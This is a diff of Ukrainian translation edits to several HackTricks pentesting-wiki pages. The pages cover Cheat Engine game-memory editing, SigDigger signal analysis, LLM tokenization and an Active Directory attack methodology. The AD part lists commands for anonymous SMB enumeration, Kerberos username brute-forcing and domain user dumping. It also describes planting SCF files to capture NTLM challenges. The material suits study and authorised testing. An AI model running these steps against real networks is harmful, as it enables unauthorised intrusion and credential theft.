{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -10,7 +10,7 @@
|
||||
.png>)
|
||||
|
||||
Цей інструмент дуже корисний для знаходження **місця, де деяке значення** (зазвичай число) **зберігається в пам'яті** програми.\
|
||||
**Зазвичай числа** зберігаються у **4байтовій** формі, але ви також можете знайти їх у **подвійних** або **плаваючих** форматах, або ви можете шукати щось **інше, ніж число**. З цієї причини вам потрібно бути впевненим, що ви **вибрали** те, що хочете **шукати**:
|
||||
**Зазвичай числа** зберігаються у **4байтовій** формі, але ви також можете знайти їх у **подвійних** або **плаваючих** форматах, або ви можете шукати щось **інше, ніж число**. З цієї причини вам потрібно бути впевненим, що ви **обрали** те, що хочете **шукати**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -24,11 +24,11 @@
|
||||
|
||||
### Гарячі клавіші
|
||||
|
||||
У _**Edit --> Settings --> Hotkeys**_ ви можете встановити різні **гарячі клавіші** для різних цілей, таких як **зупинка** **гри** (що досить корисно, якщо в якийсь момент ви хочете просканувати пам'ять). Доступні інші опції:
|
||||
У _**Edit --> Settings --> Hotkeys**_ ви можете встановити різні **гарячі клавіші** для різних цілей, таких як **зупинка** **гри** (що досить корисно, якщо в якийсь момент ви хочете просканувати пам'ять). Інші опції також доступні:
|
||||
|
||||
.png>)
|
||||
|
||||
## Модифікація значення
|
||||
## Зміна значення
|
||||
|
||||
Якщо ви **знайшли**, де знаходиться **значення**, яке ви **шукаєте** (більше про це в наступних кроках), ви можете **змінити його**, двічі клацнувши на ньому, а потім двічі клацнувши на його значенні:
|
||||
|
||||
@ -55,7 +55,7 @@
|
||||
.png>)
|
||||
|
||||
Cheat Engine буде шукати **значення**, які **змінилися з 100 на нове значення**. Вітаємо, ви **знайшли** **адресу** значення, яке шукали, тепер ви можете його змінити.\
|
||||
&#xNAN;_If у вас все ще є кілька значень, зробіть щось, щоб знову змінити це значення, і виконайте ще одне "наступне сканування", щоб відфільтрувати адреси._
|
||||
_Якщо у вас все ще є кілька значень, зробіть щось, щоб знову змінити це значення, і виконайте ще одне "наступне сканування", щоб відфільтрувати адреси._
|
||||
|
||||
### Невідоме значення, відоме зміна
|
||||
|
||||
@ -90,7 +90,7 @@ Cheat Engine буде шукати **значення**, які **змінили
|
||||
**Перша опція** корисна для того, щоб дізнатися, які **частини** **коду** **використовують** цю **адресу** (що корисно для багатьох інших речей, таких як **знати, де ви можете змінити код** гри).\
|
||||
**Друга опція** є більш **конкретною** і буде більш корисною в цьому випадку, оскільки нас цікавить, **звідки це значення записується**.
|
||||
|
||||
Після того, як ви вибрали одну з цих опцій, **дебагер** буде **прикріплений** до програми, і з'явиться нове **порожнє вікно**. Тепер, **грайте** в **гру** та **змінюйте** це **значення** (без перезапуску гри). **Вікно** повинно бути **заповнене** **адресами**, які **змінюють** **значення**:
|
||||
Після того, як ви виберете одну з цих опцій, **дебагер** буде **підключений** до програми, і з'явиться нове **порожнє вікно**. Тепер **грай** у **гру** та **змінюй** це **значення** (без перезапуску гри). **Вікно** повинно бути **заповнене** **адресами**, які **змінюють** **значення**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -102,7 +102,7 @@ Cheat Engine буде шукати **значення**, які **змінили
|
||||
|
||||
### Випадкова адреса пам'яті - Знаходження вказівника
|
||||
|
||||
Слідуючи попереднім крокам, знайдіть, де знаходиться значення, яке вас цікавить. Потім, використовуючи "**Дізнатися, що записує в цю адресу**", дізнайтеся, яка адреса записує це значення, і двічі клацніть на ньому, щоб отримати вигляд дизасемблера:
|
||||
Продовжуючи попередні кроки, знайдіть, де знаходиться значення, яке вас цікавить. Потім, використовуючи "**Дізнатися, що записує в цю адресу**", дізнайтеся, яка адреса записує це значення, і двічі клацніть на ньому, щоб отримати вигляд дизасемблера:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -121,7 +121,7 @@ Cheat Engine буде шукати **значення**, які **змінили
|
||||
|
||||
.png>)
|
||||
|
||||
(Зверніть увагу, що перша "Адреса" автоматично заповнюється з адреси вказівника, яку ви вводите)
|
||||
(Зверніть увагу, як перша "Адреса" автоматично заповнюється з адреси вказівника, яку ви вводите)
|
||||
|
||||
Клацніть OK, і буде створено новий вказівник:
|
||||
|
||||
@ -131,14 +131,14 @@ Cheat Engine буде шукати **значення**, які **змінили
|
||||
|
||||
### Ін'єкція коду
|
||||
|
||||
Ін'єкція коду - це техніка, коли ви вставляєте шматок коду в цільовий процес, а потім перенаправляєте виконання коду, щоб пройти через ваш власний написаний код (наприклад, надаючи вам бали замість їх зменшення).
|
||||
Ін'єкція коду - це техніка, при якій ви вставляєте шматок коду в цільовий процес, а потім перенаправляєте виконання коду, щоб пройти через ваш власний написаний код (наприклад, надаючи вам бали замість їх зменшення).
|
||||
|
||||
Отже, уявіть, що ви знайшли адресу, яка віднімає 1 від життя вашого гравця:
|
||||
|
||||
.png>)
|
||||
|
||||
Клацніть на Показати дизасемблер, щоб отримати **дизасембльований код**.\
|
||||
Потім натисніть **CTRL+a**, щоб викликати вікно Авто збірки та виберіть _**Шаблон --> Ін'єкція коду**_
|
||||
Потім натисніть **CTRL+a**, щоб викликати вікно Авто складання та вибрати _**Шаблон --> Ін'єкція коду**_
|
||||
|
||||
.png>)
|
||||
|
||||
@ -154,7 +154,7 @@ Cheat Engine буде шукати **значення**, які **змінили
|
||||
|
||||
.png>)
|
||||
|
||||
**Натисніть на виконати, і ваш код повинен бути ін'єктований у програму, змінюючи поведінку функціональності!**
|
||||
**Натисніть виконати, і ваш код повинен бути ін'єктований у програму, змінюючи поведінку функціональності!**
|
||||
|
||||
## **Посилання**
|
||||
|
||||
|
||||
@ -4,12 +4,12 @@
|
||||
|
||||
## SigDigger
|
||||
|
||||
[**SigDigger** ](https://github.com/BatchDrake/SigDigger) є безкоштовним аналізатором цифрових сигналів для GNU/Linux та macOS, призначеним для витягування інформації з невідомих радіосигналів. Він підтримує різноманітні SDR пристрої через SoapySDR і дозволяє регулювати демодуляцію FSK, PSK та ASK сигналів, декодувати аналогове відео, аналізувати сплески сигналів та слухати аналогові голосові канали (все в реальному часі).
|
||||
[**SigDigger** ](https://github.com/BatchDrake/SigDigger) є безкоштовним аналізатором цифрових сигналів для GNU/Linux та macOS, призначеним для витягування інформації з невідомих радіосигналів. Він підтримує різноманітні SDR пристрої через SoapySDR і дозволяє регулювати демодуляцію FSK, PSK та ASK сигналів, декодувати аналогове відео, аналізувати сплескові сигнали та слухати аналогові голосові канали (все в реальному часі).
|
||||
|
||||
### Basic Config
|
||||
|
||||
Після встановлення є кілька речей, які ви можете розглянути для налаштування.\
|
||||
У налаштуваннях (друга кнопка вкладки) ви можете вибрати **SDR пристрій** або **вибрати файл** для читання та частоту для синхронізації, а також частоту дискретизації (рекомендується до 2.56Msps, якщо ваш ПК це підтримує)\\
|
||||
У налаштуваннях (друга кнопка вкладки) ви можете вибрати **SDR пристрій** або **вибрати файл** для читання та частоту для синхронізації, а також частоту дискретизації (рекомендується до 2.56Msps, якщо ваш ПК це підтримує)
|
||||
|
||||
.png>)
|
||||
|
||||
@ -22,17 +22,17 @@
|
||||
|
||||
### Uses
|
||||
|
||||
- Просто для **захоплення частини сигналу та його аналізу** просто утримуйте кнопку "Push to capture" стільки, скільки потрібно.
|
||||
- Просто **захопити деякий час сигналу та проаналізувати його**, просто утримуйте кнопку "Push to capture" стільки, скільки потрібно.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Тюнер** SigDigger допомагає **захоплювати кращі сигнали** (але він також може їх погіршити). Ідеально почати з 0 і продовжувати **збільшувати**, поки ви не знайдете, що **шум**, який ви вводите, є **більшим**, ніж **покращення сигналу**, яке вам потрібно).
|
||||
- **Тюнер** SigDigger допомагає **захоплювати кращі сигнали** (але він також може їх погіршити). Ідеально почати з 0 і продовжувати **збільшувати**, поки ви не знайдете, що **шум**, який ви вводите, є **більшим**, ніж **покращення сигналу**, яке вам потрібно.
|
||||
|
||||
.png>)
|
||||
|
||||
### Synchronize with radio channel
|
||||
|
||||
З [**SigDigger** ](https://github.com/BatchDrake/SigDigger) синхронізуйтеся з каналом, який ви хочете почути, налаштуйте опцію "Baseband audio preview", налаштуйте ширину смуги, щоб отримати всю інформацію, що надсилається, а потім встановіть Тюнер на рівень, перед тим як шум дійсно почне зростати:
|
||||
З [**SigDigger** ](https://github.com/BatchDrake/SigDigger) синхронізуйтеся з каналом, який ви хочете почути, налаштуйте опцію "Baseband audio preview", налаштуйте ширину смуги, щоб отримати всю інформацію, що надсилається, а потім встановіть Тюнер на рівень, перед тим як шум почне дійсно зростати:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -45,8 +45,8 @@
|
||||
|
||||
.png>)
|
||||
|
||||
- **Після відновлення бітів вам, можливо, потрібно буде обробити їх якимось чином**. Наприклад, у манчестерській кодуванні up+down буде 1 або 0, а down+up буде іншим. Таким чином, пари 1s і 0s (up і down) будуть реальним 1 або реальним 0.
|
||||
- Навіть якщо сигнал використовує манчестерську кодування (неможливо знайти більше ніж два 0s або 1s підряд), ви можете **знайти кілька 1s або 0s разом у преамбулі**!
|
||||
- **Після відновлення бітів вам, можливо, потрібно буде обробити їх якимось чином**. Наприклад, у манчестерській кодуванні up+down буде 1 або 0, а down+up буде іншим. Таким чином, пари 1s і 0s (ups і downs) будуть реальним 1 або реальним 0.
|
||||
- Навіть якщо сигнал використовує манчестерське кодування (неможливо знайти більше ніж два 0s або 1s підряд), ви можете **знайти кілька 1s або 0s разом у преамбулі**!
|
||||
|
||||
### Uncovering modulation type with IQ
|
||||
|
||||
@ -56,7 +56,7 @@
|
||||
.png>)
|
||||
|
||||
- **Виявлення AM**: Якщо на графіку IQ з'являються, наприклад, **2 кола** (можливо, одне в 0, а інше на іншій амплітуді), це може означати, що це AM сигнал. Це тому, що на графіку IQ відстань між 0 і колом є амплітудою сигналу, тому легко візуалізувати різні амплітуди, що використовуються.
|
||||
- **Виявлення PM**: Як на попередньому зображенні, якщо ви знайдете маленькі кола, які не пов'язані між собою, це, ймовірно, означає, що використовується фазова модуляція. Це тому, що на графіку IQ кут між точкою і 0,0 є фазою сигналу, тому це означає, що використовуються 4 різні фази.
|
||||
- **Виявлення PM**: Як на попередньому зображенні, якщо ви знайдете маленькі кола, які не пов'язані між собою, це, ймовірно, означає, що використовується фазова модуляція. Це тому, що на графіку IQ кут між точкою та 0,0 є фазою сигналу, тому це означає, що використовуються 4 різні фази.
|
||||
- Зверніть увагу, що якщо інформація прихована в тому, що фаза змінюється, а не в самій фазі, ви не побачите чітко різні фази.
|
||||
- **Виявлення FM**: IQ не має поля для ідентифікації частот (відстань до центру - це амплітуда, а кут - це фаза).\
|
||||
Тому, щоб ідентифікувати FM, ви повинні **бачити в основному коло** на цьому графіку.\
|
||||
@ -72,17 +72,17 @@ sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
|
||||
|
||||
#### Checking the envelope
|
||||
|
||||
Перевіряючи AM інформацію з [**SigDigger** ](https://github.com/BatchDrake/SigDigger) і просто дивлячись на **обгортку**, ви можете побачити різні чіткі рівні амплітуди. Використовуваний сигнал надсилає імпульси з інформацією в AM, ось як виглядає один імпульс:
|
||||
Перевіряючи AM інформацію з [**SigDigger** ](https://github.com/BatchDrake/SigDigger) і просто дивлячись на **оболонку**, ви можете побачити різні чіткі рівні амплітуди. Використовуваний сигнал надсилає імпульси з інформацією в AM, ось як виглядає один імпульс:
|
||||
|
||||
.png>)
|
||||
|
||||
А ось як виглядає частина символу з формою хвилі:
|
||||
І ось як виглядає частина символу з формою хвилі:
|
||||
|
||||
.png>)
|
||||
|
||||
#### Checking the Histogram
|
||||
|
||||
Ви можете **вибрати весь сигнал**, де знаходиться інформація, вибрати режим **Амплітуда** та **Вибір** і натиснути на **Гістограму**. Ви можете спостерігати, що 2 чіткі рівні лише знайдені
|
||||
Ви можете **вибрати весь сигнал**, де знаходиться інформація, вибрати режим **Амплітуда** та **Вибір** і натиснути на **Гістограму**. Ви можете спостерігати, що 2 чіткі рівні знаходяться лише
|
||||
|
||||
.png>)
|
||||
|
||||
@ -94,7 +94,7 @@ sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
|
||||
|
||||
#### With IQ
|
||||
|
||||
У цьому прикладі ви можете побачити, як є **велике коло**, але також **багато точок у центрі.**
|
||||
У цьому прикладі ви можете побачити, як є **велике коло**, але також **багато точок у центрі**.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -118,7 +118,7 @@ sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
|
||||
|
||||
.png>)
|
||||
|
||||
- **Sync to selection intervals** означає, що якщо ви раніше вибрали інтервали для знаходження символу частоти, ця символна частота буде використана.
|
||||
- **Sync to selection intervals** означає, що якщо ви раніше вибрали інтервали для знаходження символної частоти, ця символна частота буде використана.
|
||||
- **Manual** означає, що вказана символна частота буде використана
|
||||
- У **Fixed interval selection** ви вказуєте кількість інтервалів, які повинні бути вибрані, і вона розраховує символну частоту з цього
|
||||
- **Gadner clock recovery** зазвичай є найкращим варіантом, але вам все ще потрібно вказати приблизну символну частоту.
|
||||
@ -133,7 +133,7 @@ sigdigger_20220308_165547Z_2560000_433500000_float32_iq.raw
|
||||
|
||||
Якщо б, наприклад, було **4 різні рівні амплітуди**, вам потрібно було б налаштувати **Біти на символ 2** і вибрати від найменшого до найбільшого.
|
||||
|
||||
Нарешті, **збільшуючи** **Масштаб** і **змінюючи розмір рядка**, ви можете побачити біти (і ви можете вибрати все та скопіювати, щоб отримати всі біти):
|
||||
Нарешті, **збільшуючи** **Масштаб** і **змінюючи розмір рядка**, ви можете побачити біти (і ви можете вибрати всі та скопіювати, щоб отримати всі біти):
|
||||
|
||||
.png>)
|
||||
|
||||
@ -193,10 +193,10 @@ IQ не має поля для ідентифікації частот (відс
|
||||
|
||||
### Get Symbol Rate
|
||||
|
||||
Ви можете використовувати **ту ж техніку, що і в прикладі AM**, щоб отримати символну частоту, як тільки ви знайдете частоти, що несуть символи.
|
||||
Ви можете використовувати **ту ж техніку, що й у прикладі AM**, щоб отримати символну частоту, як тільки ви знайдете частоти, що несуть символи.
|
||||
|
||||
### Get Bits
|
||||
|
||||
Ви можете використовувати **ту ж техніку, що і в прикладі AM**, щоб отримати біти, як тільки ви **знайдете, що сигнал модуляційний у частоті** і **символьна частота**.
|
||||
Ви можете використовувати **ту ж техніку, що й у прикладі AM**, щоб отримати біти, як тільки ви **знайдете, що сигнал модуляційний у частоті** і **символьна частота**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
## Токенізація
|
||||
|
||||
**Токенізація** - це процес розбиття даних, таких як текст, на менші, керовані частини, які називаються _токенами_. Кожному токену присвоюється унікальний числовий ідентифікатор (ID). Це основний крок у підготовці тексту для обробки моделями машинного навчання, особливо в обробці природної мови (NLP).
|
||||
**Токенізація** — це процес розбиття даних, таких як текст, на менші, керовані частини, які називаються _токенами_. Кожному токену присвоюється унікальний числовий ідентифікатор (ID). Це основний крок у підготовці тексту для обробки моделями машинного навчання, особливо в обробці природної мови (NLP).
|
||||
|
||||
> [!TIP]
|
||||
> Мета цього початкового етапу дуже проста: **Розділіть вхідні дані на токени (ідентифікатори) таким чином, щоб це мало сенс**.
|
||||
@ -22,12 +22,12 @@
|
||||
- `[PAD]` (Доповнення): Використовується для того, щоб усі послідовності в партії мали однакову довжину.
|
||||
- `[UNK]` (Невідомий): Представляє токени, які не входять до словника.
|
||||
- _Приклад:_\
|
||||
Якщо `"Привіт"` отримує ID `64`, `","` - `455`, `"світе"` - `78`, а `"!"` - `467`, тоді:\
|
||||
Якщо `"Привіт"` отримує ID `64`, `","` — `455`, `"світе"` — `78`, а `"!"` — `467`, тоді:\
|
||||
`"Привіт, світе!"` → `[64, 455, 78, 467]`
|
||||
- **Обробка невідомих слів:**\
|
||||
Якщо слово, наприклад, `"Бувай"`, не входить до словника, його замінюють на `[UNK]`.\
|
||||
`"Бувай, світе!"` → `["[UNK]", ",", "світе", "!"]` → `[987, 455, 78, 467]`\
|
||||
&#xNAN;_(Припускаючи, що `[UNK]` має ID `987`)_
|
||||
_(Припускаючи, що `[UNK]` має ID `987`)_
|
||||
|
||||
### **Розширені методи токенізації**
|
||||
|
||||
@ -38,12 +38,12 @@
|
||||
- **Як це працює:**
|
||||
- Починає з окремих символів як токенів.
|
||||
- Ітеративно об'єднує найбільш часті пари токенів в один токен.
|
||||
- Продовжує, поки не залишиться більше частих пар для об'єднання.
|
||||
- Продовжує, поки не залишиться жодної частої пари, яку можна об'єднати.
|
||||
- **Переваги:**
|
||||
- Вилучає необхідність у токені `[UNK]`, оскільки всі слова можуть бути представлені шляхом об'єднання існуючих підсловникових токенів.
|
||||
- Більш ефективний і гнучкий словник.
|
||||
- _Приклад:_\
|
||||
`"граючи"` може бути токенізовано як `["грати", "ing"]`, якщо `"грати"` та `"ing"` є частими підсловами.
|
||||
`"граючи"` може бути токенізовано як `["грати", "ючи"]`, якщо `"грати"` та `"ючи"` є частими підсловами.
|
||||
2. **WordPiece:**
|
||||
- **Використовується:** Моделями, такими як BERT.
|
||||
- **Мета:** Подібно до BPE, розбиває слова на підсловникові одиниці для обробки невідомих слів і зменшення розміру словника.
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
**Active Directory** служить основною технологією, що дозволяє **мережевим адміністраторам** ефективно створювати та керувати **доменами**, **користувачами** та **об'єктами** в межах мережі. Вона спроектована для масштабування, полегшуючи організацію великої кількості користувачів у керовані **групи** та **підгрупи**, контролюючи **права доступу** на різних рівнях.
|
||||
|
||||
Структура **Active Directory** складається з трьох основних рівнів: **домени**, **дерева** та **ліси**. **Домен** охоплює колекцію об'єктів, таких як **користувачі** або **пристрої**, які ділять спільну базу даних. **Дерева** — це групи цих доменів, пов'язані спільною структурою, а **ліс** представляє колекцію кількох дерев, взаємопов'язаних через **довірчі відносини**, формуючи найвищий рівень організаційної структури. Специфічні **права доступу** та **комунікації** можуть бути призначені на кожному з цих рівнів.
|
||||
Структура **Active Directory** складається з трьох основних рівнів: **домени**, **дерева** та **ліси**. **Домен** охоплює колекцію об'єктів, таких як **користувачі** або **пристрої**, які ділять спільну базу даних. **Дерева** — це групи цих доменів, пов'язані спільною структурою, а **ліс** представляє колекцію кількох дерев, взаємопов'язаних через **довірчі відносини**, формуючи найвищий рівень організаційної структури. Конкретні **права доступу** та **права на зв'язок** можуть бути призначені на кожному з цих рівнів.
|
||||
|
||||
Ключові концепції в **Active Directory** включають:
|
||||
|
||||
@ -16,16 +16,16 @@
|
||||
4. **Tree** – Групування доменів, які ділять спільний кореневий домен.
|
||||
5. **Forest** – Вершина організаційної структури в Active Directory, що складається з кількох дерев з **довірчими відносинами** між ними.
|
||||
|
||||
**Active Directory Domain Services (AD DS)** охоплює ряд послуг, критично важливих для централізованого управління та комунікації в межах мережі. Ці послуги включають:
|
||||
**Active Directory Domain Services (AD DS)** охоплює ряд послуг, критично важливих для централізованого управління та зв'язку в межах мережі. Ці послуги включають:
|
||||
|
||||
1. **Domain Services** – Централізує зберігання даних і керує взаємодією між **користувачами** та **доменами**, включаючи функції **автентифікації** та **пошуку**.
|
||||
2. **Certificate Services** – Контролює створення, розподіл та управління безпечними **цифровими сертифікатами**.
|
||||
3. **Lightweight Directory Services** – Підтримує програми, що використовують каталог, через **LDAP протокол**.
|
||||
4. **Directory Federation Services** – Надає можливості **одного входу** для автентифікації користувачів через кілька веб-додатків в одній сесії.
|
||||
5. **Rights Management** – Допомагає захистити авторські матеріали, регулюючи їх несанкціонований розподіл та використання.
|
||||
5. **Rights Management** – Допомагає захистити авторські матеріали, регулюючи їх несанкціоноване розповсюдження та використання.
|
||||
6. **DNS Service** – Критично важливий для розв'язання **доменних імен**.
|
||||
|
||||
Для більш детального пояснення перегляньте: [**TechTerms - Визначення Active Directory**](https://techterms.com/definition/active_directory)
|
||||
Для більш детального пояснення перегляньте: [**TechTerms - Active Directory Definition**](https://techterms.com/definition/active_directory)
|
||||
|
||||
### **Kerberos Authentication**
|
||||
|
||||
@ -34,7 +34,7 @@
|
||||
|
||||
## Cheat Sheet
|
||||
|
||||
Ви можете зайти на [https://wadcoms.github.io/](https://wadcoms.github.io), щоб швидко переглянути, які команди ви можете виконати для перерахунку/експлуатації AD.
|
||||
Ви можете зайти на [https://wadcoms.github.io/](https://wadcoms.github.io), щоб швидко переглянути команди, які ви можете виконати для перерахунку/експлуатації AD.
|
||||
|
||||
## Recon Active Directory (No creds/sessions)
|
||||
|
||||
@ -44,7 +44,7 @@
|
||||
- Сканувати мережу, знаходити машини та відкриті порти та намагатися **експлуатувати вразливості** або **витягувати облікові дані** з них (наприклад, [принтери можуть бути дуже цікавими цілями](ad-information-in-printers.md)).
|
||||
- Перерахунок DNS може надати інформацію про ключові сервери в домені, такі як веб, принтери, спільні ресурси, vpn, медіа тощо.
|
||||
- `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt`
|
||||
- Ознайомтеся з Загальною [**Методологією Pentesting**](../../generic-methodologies-and-resources/pentesting-methodology.md), щоб знайти більше інформації про те, як це зробити.
|
||||
- Ознайомтеся з Загальною [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md), щоб знайти більше інформації про те, як це зробити.
|
||||
- **Check for null and Guest access on smb services** (це не спрацює на сучасних версіях Windows):
|
||||
- `enum4linux -a -u "" -p "" <DC IP> && enum4linux -a -u "guest" -p "" <DC IP>`
|
||||
- `smbmap -u "" -p "" -P 445 -H <DC IP> && smbmap -u "guest" -p "" -P 445 -H <DC IP>`
|
||||
@ -69,7 +69,7 @@
|
||||
- Збирати облікові дані **викриваючи** [**підроблені UPnP сервіси з evil-S**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
|
||||
- [**OSINT**](https://book.hacktricks.xyz/external-recon-methodology):
|
||||
- Витягувати імена користувачів/імена з внутрішніх документів, соціальних мереж, сервісів (в основному веб) в межах доменних середовищ, а також з публічно доступних джерел.
|
||||
- Якщо ви знайдете повні імена працівників компанії, ви можете спробувати різні AD **конвенції імен користувачів** (**[читайте це](https://activedirectorypro.com/active-directory-user-naming-convention/)**). Найбільш поширені конвенції: _NameSurname_, _Name.Surname_, _NamSur_ (3 літери з кожного), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _випадкові літери та 3 випадкові цифри_ (abc123).
|
||||
- Якщо ви знайдете повні імена працівників компанії, ви можете спробувати різні конвенції **імен користувачів AD** (**[читайте це**](https://activedirectorypro.com/active-directory-user-naming-convention/)). Найбільш поширені конвенції: _NameSurname_, _Name.Surname_, _NamSur_ (3 літери з кожного), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _випадкові літери та 3 випадкові цифри_ (abc123).
|
||||
- Інструменти:
|
||||
- [w0Tx/generate-ad-username](https://github.com/w0Tx/generate-ad-username)
|
||||
- [urbanadventurer/username-anarchy](https://github.com/urbanadventurer/username-anarchy)
|
||||
@ -77,7 +77,7 @@
|
||||
### User enumeration
|
||||
|
||||
- **Anonymous SMB/LDAP enum:** Перевірте сторінки [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) та [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md).
|
||||
- **Kerbrute enum**: Коли запитується **недійсне ім'я користувача**, сервер відповість, використовуючи **код помилки Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, що дозволяє нам визначити, що ім'я користувача було недійсним. **Дійсні імена користувачів** викличуть або **TGT в AS-REP** відповіді, або помилку _KRB5KDC_ERR_PREAUTH_REQUIRED_, що вказує на те, що користувачеві потрібно виконати попередню автентифікацію.
|
||||
- **Kerbrute enum**: Коли **запитують недійсне ім'я користувача**, сервер відповість, використовуючи **код помилки Kerberos** _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_, що дозволяє нам визначити, що ім'я користувача було недійсним. **Дійсні імена користувачів** викличуть або **TGT в AS-REP** відповіді, або помилку _KRB5KDC_ERR_PREAUTH_REQUIRED_, що вказує на те, що користувачеві потрібно виконати попередню автентифікацію.
|
||||
```bash
|
||||
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
|
||||
|
||||
@ -158,16 +158,16 @@ kerberos-double-hop-problem.md
|
||||
- Ви можете використовувати [**CMD для виконання базової розвідки**](../basic-cmd-for-pentesters.md#domain-info)
|
||||
- Ви також можете використовувати [**powershell для розвідки**](../basic-powershell-for-pentesters/index.html), що буде менш помітно
|
||||
- Ви також можете [**використовувати powerview**](../basic-powershell-for-pentesters/powerview.md) для отримання більш детальної інформації
|
||||
- Інший чудовий інструмент для розвідки в Active Directory - це [**BloodHound**](bloodhound.md). Це **не дуже непомітно** (залежно від методів збору, які ви використовуєте), але **якщо вам це не важливо**, ви повинні обов'язково спробувати. Знайдіть, де користувачі можуть RDP, знайдіть шлях до інших груп тощо.
|
||||
- Інший чудовий інструмент для розвідки в активному каталозі - це [**BloodHound**](bloodhound.md). Це **не дуже непомітно** (залежно від методів збору, які ви використовуєте), але **якщо вам це не важливо**, ви повинні обов'язково спробувати. Знайдіть, де користувачі можуть RDP, знайдіть шлях до інших груп тощо.
|
||||
- **Інші автоматизовані інструменти для перерахунку AD:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
|
||||
- [**DNS записи AD**](ad-dns-records.md), оскільки вони можуть містити цікаву інформацію.
|
||||
- **Інструмент з GUI**, який ви можете використовувати для перерахунку каталогу, - це **AdExplorer.exe** з **SysInternal** Suite.
|
||||
- Ви також можете шукати в LDAP базі даних за допомогою **ldapsearch**, щоб шукати облікові дані в полях _userPassword_ та _unixUserPassword_, або навіть для _Description_. cf. [Пароль в коментарі користувача AD на PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) для інших методів.
|
||||
- Якщо ви використовуєте **Linux**, ви також можете перерахувати домен, використовуючи [**pywerview**](https://github.com/the-useless-one/pywerview).
|
||||
- Якщо ви використовуєте **Linux**, ви також можете перерахувати домен за допомогою [**pywerview**](https://github.com/the-useless-one/pywerview).
|
||||
- Ви також можете спробувати автоматизовані інструменти, такі як:
|
||||
- [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
|
||||
- [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
|
||||
- **Витягування всіх користувачів домену**
|
||||
- **Отримання всіх користувачів домену**
|
||||
|
||||
Дуже легко отримати всі імена користувачів домену з Windows (`net user /domain`, `Get-DomainUser` або `wmic useraccount get name,sid`). У Linux ви можете використовувати: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` або `enum4linux -a -u "user" -p "password" <DC IP>`
|
||||
|
||||
@ -189,7 +189,7 @@ kerberoast.md
|
||||
|
||||
### Підвищення локальних привілеїв
|
||||
|
||||
Якщо ви компрометували облікові дані або сесію як звичайний користувач домену і маєте **доступ** з цим користувачем до **будь-якої машини в домені**, ви повинні спробувати знайти спосіб **підвищити привілеї локально та шукати облікові дані**. Це тому, що тільки з локальними привілеями адміністратора ви зможете **вивантажити хеші інших користувачів** в пам'яті (LSASS) та локально (SAM).
|
||||
Якщо ви компрометували облікові дані або сесію як звичайний користувач домену і маєте **доступ** з цим користувачем до **будь-якої машини в домені**, ви повинні спробувати знайти спосіб **підвищити привілеї локально та шукати облікові дані**. Це тому, що тільки з привілеями локального адміністратора ви зможете **вивантажити хеші інших користувачів** в пам'яті (LSASS) та локально (SAM).
|
||||
|
||||
У цій книзі є повна сторінка про [**підвищення локальних привілеїв у Windows**](../windows-local-privilege-escalation/index.html) та [**контрольний список**](../checklist-windows-privilege-escalation.md). Також не забудьте використовувати [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
|
||||
|
||||
@ -205,7 +205,7 @@ kerberoast.md
|
||||
```
|
||||
### NTML Relay
|
||||
|
||||
Якщо вам вдалося перерахувати активний каталог, ви отримаєте **більше електронних листів та краще розуміння мережі**. Ви можете змусити NTML [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
|
||||
Якщо вам вдалося перерахувати активний каталог, ви отримаєте **більше електронних листів та краще розуміння мережі**. Ви можете змусити NTML [**атаки реле**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
|
||||
|
||||
### **Шукайте креденціали в загальних папках комп'ютера**
|
||||
|
||||
@ -215,7 +215,7 @@ kerberoast.md
|
||||
|
||||
### Вкрасти NTLM креденціали
|
||||
|
||||
Якщо ви можете **доступитися до інших ПК або загальних папок**, ви можете **розмістити файли** (наприклад, файл SCF), які, якщо їх якось відкриють, **викличуть NTML аутентифікацію проти вас**, щоб ви могли **вкрасти** **NTLM challenge** для його зламу:
|
||||
Якщо ви можете **доступитися до інших ПК або загальних папок**, ви можете **розмістити файли** (наприклад, файл SCF), які, якщо їх якось відкриють, **спровокують NTML аутентифікацію проти вас**, щоб ви могли **вкрасти** **NTLM виклик** для його зламу:
|
||||
|
||||
{{#ref}}
|
||||
